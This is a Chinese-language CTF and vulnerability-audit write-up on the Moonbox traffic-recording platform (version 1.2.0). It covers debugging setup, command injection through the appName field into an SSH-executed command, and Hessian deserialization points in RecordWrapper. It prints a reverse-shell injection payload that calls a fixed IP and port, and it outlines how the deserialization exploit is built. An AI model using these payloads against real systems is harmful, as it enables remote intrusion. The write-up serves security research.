前言
d3ctf遇到这题,打完题后对别的点进行了简单审计。
审计结果:
1、知道某台机的ssh账密,可以注入命令然后执行。
2、在不知道本机的账密的情况下,尝试注入命令,注入的命令会被url编码,无法被执行。
3、存在多处任意的hessian反序列化点。
环境搭建
版本:最新版,1.2.0,直接使用项目自带的docker
手动添加调试命令,修改docker-compose.yml即可
command: bash -c "/etc/init.d/ssh start; cd /bin; rm sh; ln -s bash sh; java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005 -jar /moonbox/moon-box-web" |
使用源码
远程环境使用docker,本地debug时用的源码,出现断点对不上的问题。
比如把断点打在Controller的updateTemplate上,但是运行后,程序确实在updateTemplate方法处停止,但是idea显示的断点在上面。
猜测jar包不是这份源码编译的。换一种方式搭建
使用jar包
把docker环境里的moon-box-web这个jar复制出来,里面的lib也取出来,然后add as library
搭建完后,开始调试,出现了3种情况:
1、直接打在方法的断点可以被远程识别,而打在方法体里面无法被识别。
每打一个断点,idea会把断点信息发给远程,远程识别后再发回来,若远程正确识别,则idea的断点符号显示一个勾。
2、直接打在方法的断点,程序运行到这会停止,但是idea没有跟踪到断点。
3、若把断点打在内部的代码里,即不直接打在Controller,一切正常。
所以就直接这样吧,断点不断在Controller里面就行了。
命令拼接 远程执行
首先要大概理解moonbox 流量记录的大概原理:登录到远程机子,下载agent包,运行agent,开始录制。
新建一个录制
执行该录制时,会登录到远程机子,然后执行命令,调用栈如下:
startServerAgent先通过getRemoteAgentStartCommand获取要在远程机执行的命令:
可以看到这里有个命令拼接,appName参与了拼接,这个东西可控。
然后继续执行,就是ssh登录,然后执行命令。
接下来尝试注入命令。
正常情况下appName只有这两个选项
但是抓包可以手动修改,把原来的appName修改为";/bin/bash -c '/bin/bash -i >&/dev/tcp/192.168.109.1/16666 0>&1';"
此时再查看这个模板,成功修改
然后在这个模板下新建录制,appName就是注入的命令了。
命令拼接 本地执行
上述执行方式条件是知道本地机或远程机的ssh账密,有点鸡肋,能不能在不知道本地机的账密的情况下打?
调用栈入口处startAgent,有两个选项,一个是startServerAgent,一个是startLocalAgent,有没有办法走local?
往上追踪后,发现,只要把数据包的runEnv选项改为local即可。
直接打打不通,看看构造命令部分
翻译一下就是,appName必须要在本地jvm进程里。因此无法注入。
看看别的变量,比如taskConfig,往上追踪
这两个变量也是可控的。
新建一个正常的模板,然后把这两个选项修改。
然后再在这个模板下运行录制
可以看到命令成功注入,但是会经过url编码
最终的command。
因此无法注入可执行的命令了。
别的命令执行
查找javaCommandExecute使用的地方
有一处installAgent,但是变量都不可控。
命令执行已死。
hessian反序列化
序列化和反序列化是用来通信过程中传输对象的,而大概了解moonbox工作原理后,知道server和agent之间需要通信,那么存在反序列化点就变得合理起来。
反序列化点有很多,以该处说明:
直接一个裸的反序列化,但是要求是RecordWrapper类型。
相关的类:
payload构造方法:
有两种方式,但本质上都是一样,都是想办法往RecordWrapper里塞一个Map对象。
第一种:RecordWrapper的entranceInvocation设置为HttpInvocation,HttpInvocation的headers设置为恶意map即可。
第二种:创建一个list,这个list里放一个恶意map,然后把这个list赋给RecordWrapper的subInvocations,忽略泛型。
下面是第一种的exp:
public static void main(String[] args) throws Exception{ |
发包
查看调用栈,反序列化链正常